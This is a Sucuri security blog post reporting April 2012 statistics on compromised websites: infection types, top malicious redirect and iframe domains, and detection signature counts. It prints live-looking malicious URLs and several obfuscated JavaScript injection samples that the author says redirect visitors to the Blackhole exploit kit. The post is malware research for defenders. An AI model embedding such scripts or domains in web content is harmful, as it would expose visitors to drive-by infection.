Sucuri SiteCheck – Web Malware Distribution – April 2012

When we see a compromised site distributing malware, it is often done via 4 methods: Iframe, Javascript, Spam or internal redirections. Those are not the only ways, and they can be encoded or hidden differently internally on the sites, but the final output on the compromised sites is generally one of them:

  1. Iframe injection: It makes the browser loads content from external (and malicious web sites). Example: <iframe src="http://pokosa.com/tds/go.php?sid=1" ..
  2. Javascript injection: Used to encode (hide) calls to iframes or additional remote javascript includes. Example: <script>d= Date ;d=new d();h=-parseInt("012")/5;if(window.document)try{new document.getElementById(“qwe”)…. (this code redirects users to the blackhole exploit kit)
  3. .htaccess (or conditional) redirections: Used to redirect anyone visiting the site from search engines (or specific user agents/ referers) to malware or spam content.
  4. Blackhat SEO spam: It is not really malware in the sense of the word (since it won’t infect anyone visiting the site), but it is still harmful for the webmaster and the site’s reputation (imagine a corporate site redirecting to a viagra  online  store).

April / 2012 stats


Last month ( April / 2012), we scanned a LOT of sites and many of them (107,616 to be more precise) were compromised. This is the breakdown per infection type:

  • Iframe injection: 52.6%
  • Javascript injection: 26.5%
  • Blackhat SEO spam: 10.1%
  • .htaccess redirections: 7.3%
  • Other: 3%

Top malware domains per infection type and unique number of compromised sites

HTaccess

315 http://googlesgo.com.
105 http://jamkim.ru/in.cgi?4.
96 http://tro-pas.ru/in.cgi?4.
81 http://kim-vus.ru/in.cgi?4.
79 http://froling.bee.pl/.
77 http://www.fdvrerefrr.ezua.com/.
76 http://gafa-senda.ru/in.cgi?4.
74 http://namesti.bee.pl/.
69 http://vaclavska.bee.pl/.
68 http://stecdon.ru/example/status.php.
68 http://era-was.ru/in.cgi?4.
66 http://mod-sys.ru/acu?11.
62 http://kimvus.ru/in.cgi?4.
61 http://feat-container.ru/flayer?12.
61 http://acro-mini.ru/flayer?12.
59 http://vus-kim.ru/in.cgi?4.
59 http://sas-air.ru/space?7.
57 http://costabrava.bee.pl/.
56 http://mma-ga.ru/indigo?5.
55 http://jam-vus.ru/in.cgi?4.
53 http://wasera.ru/in.cgi?4.
53 http://jamvus.ru/in.cgi?4.
53 http://control-check.ru/flayer?12.
52 http://jam-kim.ru/in.cgi?4.
49 http://tropas.ru/in.cgi?4.
47 http://javlam.ru/in.cgi?5.
47 http://bysteb.ru/flayer?12.
46 http://pas-tro.ru/in.cgi?4.
46 http://gafasenda.ru/in.cgi?4.
46 http://gabplat.ru/in.cgi?4.

Iframes

3368 http://recovery-hdd.eu/in.cgi?6″
2298 http://almazzao-co.eu/in.cgi?6″
690 http://smuss.net/redirect.php”
523 http://geocacherzone.pt/mediamarkt/images/.tyt/.unzushlagen/sys/index.php”
519 http://sluxxqqgykewolmoli.in/in.cgi?default”
487 http://xxx.velery.in/images.php?t=44443094″
401 http://pokosa.com/tds/go.php?sid=1″
369 http://xsw.vedeved.in/images.php?t=44443094″
362 http://csepros.com”
319 http://sdc.hdljca.in/images.php?t=44443094″
313 http://sgh.nolerit.in/images.php?t=44443094″
302 http://wqx.nerolit.in/images.php?t=44443094″
295 http://niijz.hoahoc.org/images.php?t=44443094″
259 http://cds.zdcwzn.in/images.php?t=44443094″
257 http://tfa.gdasasa.in/images.php?t=44443094″
249 http://xxx.fedorita.in/images.php?t=44443094″
238 http://windowsflashmx.rr.nu/iframe.php?id=535″
225 http://vgdhr.us.to/images.php?t=44443094″
212 http://xxx.germiss.in/images.php?t=44443094″
200 http://sds.valerito.in/images.php?t=44443094″
194 http://65.126.238.126/scrp.php”
190 http://fwhhrx.baerika.in/images.php?t=44443094″
189 http://usf.haderut.in/images.php?t=44443094″
187 http://hga.adcxhg.in/images.php?t=44443094″
179 http://wajci.dnepr.com/images.php?t=44443094″

Encoded javascript:

Most of those encoded javascript malware we found, were being used to redirect to exploit kits (specially the Blackhole one).

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=["-32k-32k64k61k-9k-1k59k70k58k76k68k60k69k75k5k62k60k75k28k67k60k68k
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70k65k74k60k76k77k5k73k76k6k58k70k76k69k75k8k12k5k71k63k71k-2k-9k78k64
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k74k64k75k64k70k69k17k56k57k74k70k67k76k75k60k18k67k60k61k75k17k7k18k7
5k70k71k17k7k18k-2k21k19k6k64k61k73k56k68k60k21k-7k0k18k-28k-32k-32k84
k-28k-32k-32k61k76k69k58k75k64k70k69k-9k64k61k73k56k68k60k73k-1k0k82k-
28k-32k-32k-32k77k56k73k-9k61k-9k20k-9k59k70k58k76k68k60k69k75k5k58k73
k60k56k75k60k28k67k60k68k60k69k75k-1k-2k64k61k73k56k68k60k-2k0k18k61k5
k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k74k73k58k-2k3k-2k63k75k75k7
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k-2k0k18k61k5k74k75k80k67k60k5k77k64k74k64k57k64k67k64k75k80k20k-2k63k
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k5k74k60k75k24k75k75k73k64k57k76k75k60k-1k-2k63k60k64k62k63k75k-2k3k-2
k8k7k-2k0k18k-28k-32k-32k-32k59k70k58k76k68k60k69k75k5k62k60k75k28k67k
60k68k60k69k75k74k25k80k43k56k62k37k56k68k60k-1k-2k57k70k59k80k-2k0k50
k7k52k5k56k71k71k60k69k59k26k63k64k67k59k-1k61k0k18k-28k-32k-32k84"][0
].split("k");v="e"+"va"+"l";}if(v)e=window[v];w=f;s=[];r=String;for(;5
67!=i;i+=1){j=i;s=s+r["f"+"r"+"omC"+"har"+"C"+"ode"](w[j]*1+41);}if(e)
e(s);</script>
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6"][0].split("i");v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(
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script>
    642 <script>d=Date;d=new d();h=-parseInt("012")/5;if(window.docume
nt)try{new document.getElementById("qwe").prototype}catch(qqq){st=Stri
ng;zz="al";zz="v"+zz;ss="";if(1){f="f"+"r"+"o"+"m"+"Ch"+"ar";f=f+"C"+"
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~57~56.5~32~59.5~41~47.5~50.5~38~47.5~53.5~49.5~19~18.5~48~54.5~49~59.
5~18.5~19.5~44.5~23~45.5~19.5~60.5~5.5~3.5~3.5~3.5~51.5~50~56~47.5~53.
5~49.5~56~19~19.5~28.5~5.5~3.5~3.5~61.5~15~49.5~53~56.5~49.5~15~60.5~5
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57~55~28~22.5~22.5~50~56~49.5~56.5~51~57~49~56.5~22~51.5~54~22.5~51.5~
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7~59.5~53~49.5~29.5~18.5~58~51.5~56.5~51.5~48~51.5~53~51.5~57~59.5~28~
51~51.5~49~49~49.5~54~28.5~55~54.5~56.5~51.5~57~51.5~54.5~54~28~47.5~4
8~56.5~54.5~53~57.5~57~49.5~28.5~53~49.5~50~57~28~23~28.5~57~54.5~55~2
8~23~28.5~18.5~30~29~22.5~51.5~50~56~47.5~53.5~49.5~30~16~19.5~28.5~5.
5~3.5~3.5~61.5~5.5~3.5~3.5~50~57.5~54~48.5~57~51.5~54.5~54~15~51.5~50~
56~47.5~53.5~49.5~56~19~19.5~60.5~5.5~3.5~3.5~3.5~58~47.5~56~15~50~15~
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~56.5~56~48.5~18.5~21~18.5~51~57~57~55~28~22.5~22.5~50~56~49.5~56.5~51
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3;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</scr
ipt>
    556 <script>c=3-1;i=-1-1+c;p=parseInt;if(p("01"+"2"+"3")===83)try{
Number()["pr"+"ot"+"ot"+"ype"].q}catch(egewgsd){if(window.document)f=[
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Malware signatures

Even though we can classify web malware into those 4 categories above, we sub-categorize them for our analysis and internal detection. Those were the top signatures detected (per page, not per site in this count):

39392 http://sucuri.net/malware/malware-entry-mwblacklisted35
27984 http://sucuri.net/malware/malware-entry-mwanomalysp8
27491 http://sucuri.net/malware/entry/MW:IFRAME:HD202
15393 http://sucuri.net/malware/malware-entry-mwjs67473
15280 http://sucuri.net/malware/web-site-disabled
13064 http://sucuri.net/malware/entry/MW:JS:DEPACK
12440 http://sucuri.net/malware/malware-entry-mwht291
10209 http://sucuri.net/malware/malware-entry-mwjsanon7
10005 http://sucuri.net/malware/entry/MW:SPAM:SEO
9746 http://sucuri.net/malware/malware-entry-mwiframeenc1603
7180 http://sucuri.net/malware/malware-entry-mwiframehd564
6863 http://sucuri.net/malware/malware-entry-mwjs160
6597 http://sucuri.net/malware/malware-entry-mwhjck3123
6060 http://sucuri.net/malware/malware-entry-mwjs69693
3449 http://sucuri.net/malware/malware-entry-mwjsde921
3123 http://sucuri.net/malware/malware-entry-mwhta7
2138 http://sucuri.net/malware/malware-entry-mwjs2368
1438 http://sucuri.net/malware/entry/MW:JS:150
1275 http://sucuri.net/malware/malware-entry-mwjs488
1208 http://sucuri.net/malware/entry/MW:DEFACED:01
1061 http://sucuri.net/malware/malware-entry-mwgdd6
800 http://sucuri.net/malware/entry/MW:JS:221
780 http://sucuri.net/malware/malware-entry-mwanomalysp7
532 http://sucuri.net/malware/malware-entry-mwjsjj678
367 http://sucuri.net/malware/malware-entry-mwjs159

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About Daniel Cid

Daniel B. Cid is the CTO&Founder of Sucuri and the founder of the open source OSSEC HIDS. His interests range from intrusion detection, log analysis (log-based intrusion detection), web-based malware research and secure development.

You can find more about Daniel at his site dcid.me or on Twitter: @danielcid